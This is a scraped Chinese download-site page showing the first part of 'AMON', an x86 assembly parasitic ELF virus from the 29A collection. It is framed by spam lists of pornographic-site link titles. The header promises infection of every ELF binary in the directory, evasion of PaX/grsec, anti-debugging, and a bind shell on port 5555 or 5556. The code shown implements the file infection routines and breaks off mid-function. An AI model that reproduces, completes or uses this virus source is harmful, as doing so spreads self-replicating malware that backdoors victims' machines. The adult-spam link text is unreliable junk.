亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? 29a-7.012

?? 從29A上收集的病毒源碼
?? 012
?? 第 1 頁(yè) / 共 2 頁(yè)
字號(hào):

;------------------------------------------------------------------------------
;
;                       AMON by emp && rikenar
;                       ----------------------
;
;
;
;
;
; AMON : parasitic ELF virus
;
;
;
;
;                      Description :
;                      -------------
;
; - Infect all ELF in the current directory.
; - Full compatible with all kernel 2.2.x,2.4.x and probably with all 2.6.x.
; - Full compatible with all options of kernel security patch (PaX/grsec ...).
; - Use basic EPO technic.
; - Use basic anti debug trick.
; - Bind a shell on port 5556 if UID = 0 else bind a shell on port 5555.
; - Only 960 bytes with complete strip.
; - Restore date and time of last modification.
;
;
;
; Tested on - redhat 9.0 (kernel 2.4.20 && 2.4.21+grsec/PaX)
;           - debian 3.0 (kernel 2.2.20 && 2.2.25+PaX)
;           - KNOPPIX 3.2 (kernel 2.4.21)
;
;
;
;
;
;
;anonymous@neptune ~/code/amon $ cat Makefile
;all:
;        @echo "-+ amon by rikenar and emp +-"
;        nasm -f elf amon.asm
;        cc amon.o -o amon -nostdlib
;        rm -f amon.o
;
;strip:
;        strip amon
;        sstrip amon
;
;
;anonymous@neptune ~/code/amon $ make
;-+ amon by rikenar and emp +-
;nasm -f elf amon.asm
;cc amon.o -o amon -nostdlib
;rm -f amon.o
;
;
;anonymous@neptune ~/code/amon $ make strip
;strip amon
;sstrip amon
;
;
;anonymous@neptune ~/code/amon $ ls -l amon
;-rwx------    1 anonymous  anonymous       960 nov  7 01:48 amon
;
;
;
;
;
;greetz : people on #ioc and all our friends
;
;------------------------------------------------------------------------------

%define         sys_fork        2
%define         sys_read        3
%define         sys_open        5
%define         sys_close       6
%define         sys_exec        11
%define         sys_getpid      20
%define         sys_getuid      24
%define         sys_ptrace      26
%define         sys_kill        37
%define         sys_dup2        63
%define         sys_mmap        90
%define         sys_munmap      91
%define         sys_ftruncate   93
%define         sys_socket      102
%define         sys_fstat       108
%define         sys_getdents    141

%define         PT_LOAD         01
%define         O_RDWR          2
%define         LISTEN          4
%define         SIGKILL         9
%define         ELFMAG          0x464C457F

global _start

section .evil

_start:

;ptrace(PTRACE_TRACEME, 0, 0x1, 0)
;
;
;anti debug trick

        xor     eax, eax
        cdq
        inc     edx
        xor     ecx, ecx
        xor     ebx, ebx                ;PTRACE_TRACEME
        xor     esi, esi
        mov      al, sys_ptrace
        int     0x80
        test    eax, eax                ;
        jne     NEAR byebye             ;if code is traced then exit

        call    bomb

;----------------------------------------------------------------------------
;
; find file to infect and call the infection function

        push '.'
        mov  ebx, esp
        call  opendir                   ;open current directory

        call  getdents                  ;list file of this directory

        add  esp, 0x08                  ;next name

again:
        mov  ebx, esp
        add  ebx, 2
        mov esi, ebx

        call openfile                   ; open file


        cmp   ah, 0xFF                  ; if error on open
        je    nextf                     ; find another file


        call verif                      ; test file type and infection
        test eax, eax                   ;
        je   nextf                      ; find another file

        mov  eax, sys_fstat
        sub  esp, 0x40
        mov  ecx, esp
        int  0x80                       ; file size
        add  esp, 0x40                  ;

        push DWORD [ecx+0x28]
        push DWORD [ecx+0x20]
        push esi                        ; save name of file for utime.

        mov  ecx, [ecx+0x14]            ; ecx = st_size
        mov  esi, ecx

        call infection                  ; WAR IS ON !

        xchg ebx, esi                   ; fd in esi.

        mov eax, 0x1e
        pop ebx
        mov ecx, esp
        int 0x80
        add esp, 8

nextf:
        xchg esi, ebx                   ; fd in ebx.
        mov eax, sys_close
        int 0x80

        call nextfile                   ; find next file
        test eax, eax
        jne  again

exit:

byebye:
        xor eax, eax
        inc eax                         ; bye bye
        xor ebx, ebx
        int 0x80

;---------------------------------------------------------------------------
;
; infection functions

infection:

        add  ecx, 0x2000
        and  ecx, 0xFFFFF000
        mov  eax, sys_ftruncate         ; size of file multiple of 0x1000
        int  0x80                       ;

        push ebx                        ; save fd
        push ecx                        ; push size of file for unmap
        call Mapping                    ; map file, adress of map in eax.



        xchg esi, ecx
        mov  ebx, [eax+0x1c]
        add  bx, WORD [eax+0x2a]        ; phdr INTERP.
        mov  esi, [eax+ebx+0x04]        ; offset of this phdr.
        push esi
        sub  ecx, esi                   ; size of code to move.
        sub  esp, ecx
        add  esi, eax
        mov  edx, ecx
        mov  edi, esp
        rep  movsb                      ;

        mov  esi, esp
        mov  ecx, edx
        mov  ebx, [eax+0x1c]
        add  bx, WORD [eax+0x2a]
        mov  edi, [eax+ebx+4]
        add  edi, eax
        add  edi, 0x1000
        rep  movsb
        add  esp, edx                   ;

        call PatchSegment               ; Patch segments.
        pop  edi
        push eax
        mov  ecx, edi
        call PatchSection               ; Patch sections.
        pop  eax
        mov  ecx, 0x1000
        add  [eax+0x20], ecx            ; Patch e_shoff.

        call delta
delta:  pop ebx
        sub ebx, delta                  ; delta offset.

        mov  esi, _start
        add esi, ebx
        add  ebp, edi                   ; ebp = adress of code
        add  edi, eax
        mov  ecx, fin_code - _start
        rep  movsb                      ; write code.

        mov  ebx, eax
        call hijackDtors                ; hijack .dtors.

        pop  ecx                        ; restaure the size
        call Demap
        pop  ebx                        ; restaure fd
        ret

;----------------------------------------------------------------------------
;
;in  : name directory in ebx
;out : fd in eax

opendir:
        xor  eax, eax
        mov   al, sys_open
        xor  ecx, ecx           ;O_RDONLY
        xor  edx, edx           ;
        int  0x80
        ret

;-----------------------------------------------------------------------------
;
;in  : pointer to name of file in ebx
;out : fd in ebx

openfile:
        xor  eax, eax
        mov   al, sys_open      ;open
        xor  ecx, ecx
        mov   cl, O_RDWR
        xor  edx, edx
        int  0x80
        ret

;-----------------------------------------------------------------------------
;
;in  : directory fd in eax
;out : result of getdents on stack

getdents:
        pop  esi                ;save ret addr
        sub  esp, 0x10000       ;i want some place on stack

        xchg eax, ebx
        xor  eax, eax
        mov   al, sys_getdents
        mov  ecx, esp
        mov  edx, 0x10000
        int  0x80

        push esi                ;

        ret

;-----------------------------------------------------------------------------
;
;in  : file fd in eax
;out : ebx == NULL if file type false or infection true

verif:
        xchg ebx, eax
        call read

        cmp  eax, ELFMAG                ;if file is not an ELF
        je verifsuite

        xor eax, eax                    ;eax == 0
        ret                             ;

verifsuite:

        ;check infection
        mov  eax, sys_fstat
        sub  esp, 0x40
        mov  ecx, esp
        int  0x80

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
99天天综合性| 国产精品综合视频| 成人小视频在线| 欧美电影免费观看高清完整版在线观看 | 精品日韩一区二区| 青青草视频一区| 3d动漫精品啪啪| 亚洲综合免费观看高清在线观看| 成人国产在线观看| 国产精品不卡一区| 成人精品视频一区二区三区| 日韩精品欧美精品| 91精品欧美久久久久久动漫 | 91国产免费观看| 国产精品白丝在线| 欧美xxx久久| 欧美色成人综合| 蜜臀久久久久久久| 91精选在线观看| www.色精品| 国产激情91久久精品导航 | 中文字幕精品在线不卡| 成人听书哪个软件好| 男女激情视频一区| 一区二区日韩电影| 欧美一级久久久| 成人免费视频caoporn| 蜜桃久久精品一区二区| 亚洲一区二区三区视频在线播放| 国产精品午夜电影| 欧美亚洲一区二区在线| 奇米影视一区二区三区| 一级精品视频在线观看宜春院| 国产性做久久久久久| 91影视在线播放| 日韩制服丝袜av| 亚洲一区免费视频| 亚洲另类中文字| 91精品国产麻豆国产自产在线| 精品亚洲国产成人av制服丝袜| 久久亚洲一级片| 色综合咪咪久久| 美脚の诱脚舐め脚责91| 天堂在线亚洲视频| 视频一区在线播放| 日本视频中文字幕一区二区三区| 国产欧美综合在线观看第十页| 精品视频全国免费看| 在线看国产一区二区| 国产一区在线观看视频| 亚洲综合激情小说| 亚洲综合成人网| 性久久久久久久久久久久 | 有坂深雪av一区二区精品| 成人免费小视频| 欧美一区二区二区| 日韩丝袜情趣美女图片| 精品日韩在线观看| 中文字幕av一区 二区| 国产精品久久久久aaaa樱花 | 欧美影院午夜播放| 欧美精品一二三| 91女厕偷拍女厕偷拍高清| 97久久精品人人做人人爽 | 日韩高清电影一区| 麻豆精品精品国产自在97香蕉| 精品亚洲国内自在自线福利| 国产99久久精品| 老司机免费视频一区二区| 一区二区久久久久久| 亚洲大型综合色站| 美女视频一区在线观看| 狠狠狠色丁香婷婷综合激情| 亚洲在线成人精品| 香蕉av福利精品导航| 麻豆精品新av中文字幕| 国产传媒日韩欧美成人| 99国产精品久久久久久久久久| 91无套直看片红桃| 欧美日韩亚洲综合一区| 日韩视频在线一区二区| 国产精品网站导航| 亚洲影视在线观看| 麻豆视频观看网址久久| www.日本不卡| 69p69国产精品| 日本一区二区三区电影| 亚洲一区二区三区美女| 日本va欧美va欧美va精品| 国产成人99久久亚洲综合精品| 从欧美一区二区三区| 欧美三级乱人伦电影| 精品国产乱码久久| 日韩精品一区二区三区在线播放| 国产精品视频看| 香蕉久久一区二区不卡无毒影院 | 欧美激情自拍偷拍| 亚洲无线码一区二区三区| 亚洲自拍另类综合| 激情五月激情综合网| 在线亚洲欧美专区二区| 精品国产一区二区亚洲人成毛片 | 欧美r级在线观看| 亚洲你懂的在线视频| 亚洲一区国产视频| 成人中文字幕在线| 日韩欧美不卡在线观看视频| 自拍偷拍亚洲综合| 一区二区三区自拍| 国产乱淫av一区二区三区| 欧美午夜精品理论片a级按摩| 国产午夜精品一区二区三区嫩草| 亚洲成人一二三| 成人福利视频在线| 精品999在线播放| 午夜精品免费在线| 激情欧美日韩一区二区| 在线观看91视频| 国产女主播一区| 久久99精品久久久久婷婷| 欧美亚洲综合网| 中文字幕一区二区三区不卡| 国产一区二区美女诱惑| 91精品一区二区三区久久久久久| 亚洲精品你懂的| 99久久精品国产毛片| 久久精品日产第一区二区三区高清版 | 国产精品一卡二| 日韩三级在线免费观看| 午夜精品久久久久久不卡8050| aaa欧美日韩| 亚洲国产精品国自产拍av| 精品午夜一区二区三区在线观看| 欧美精三区欧美精三区| 亚洲综合一区二区三区| 91福利国产成人精品照片| 亚洲图片激情小说| 99精品国产视频| 中文字幕欧美一| jlzzjlzz亚洲日本少妇| 国产精品福利一区二区| 粉嫩av亚洲一区二区图片| 国产色产综合色产在线视频| 经典三级在线一区| 26uuu欧美| 国产精品白丝jk白祙喷水网站| 2023国产精品自拍| 国产电影一区二区三区| 欧美高清在线一区二区| av在线不卡电影| 亚洲三级在线观看| 在线免费一区三区| 午夜在线成人av| 欧美一级高清片| 国产在线视频精品一区| 国产女主播在线一区二区| caoporen国产精品视频| 亚洲视频香蕉人妖| 欧美私模裸体表演在线观看| 午夜精品福利一区二区蜜股av | 亚洲激情在线激情| 欧美影院精品一区| 日本欧美一区二区| 精品国产伦一区二区三区免费| 国产精品中文字幕欧美| 中文字幕精品综合| 在线一区二区三区四区五区| 偷拍亚洲欧洲综合| 日韩欧美成人激情| 成人动漫视频在线| 一区二区三区国产精华| 日韩免费一区二区三区在线播放| 国产呦精品一区二区三区网站| 中文字幕视频一区| 欧美揉bbbbb揉bbbbb| 国产美女av一区二区三区| 国产精品卡一卡二| 欧美嫩在线观看| 一区二区三区四区五区视频在线观看 | 亚洲精品乱码久久久久久久久| 69堂精品视频| 豆国产96在线|亚洲| 亚洲超碰97人人做人人爱| 精品久久国产字幕高潮| 一本色道a无线码一区v| 日本aⅴ免费视频一区二区三区| 日本一区二区三区国色天香| 欧美日韩一区二区不卡| 国产一区二区三区四区五区美女 | 欧美精品一区二区三区蜜桃| 本田岬高潮一区二区三区| 日韩中文字幕区一区有砖一区 | 国产日韩欧美一区二区三区乱码| 91视频国产观看| 精品一区二区三区日韩| 亚洲伦理在线免费看| 久久精品一区二区三区不卡 | 欧美aⅴ一区二区三区视频| 中文字幕成人在线观看| 777色狠狠一区二区三区|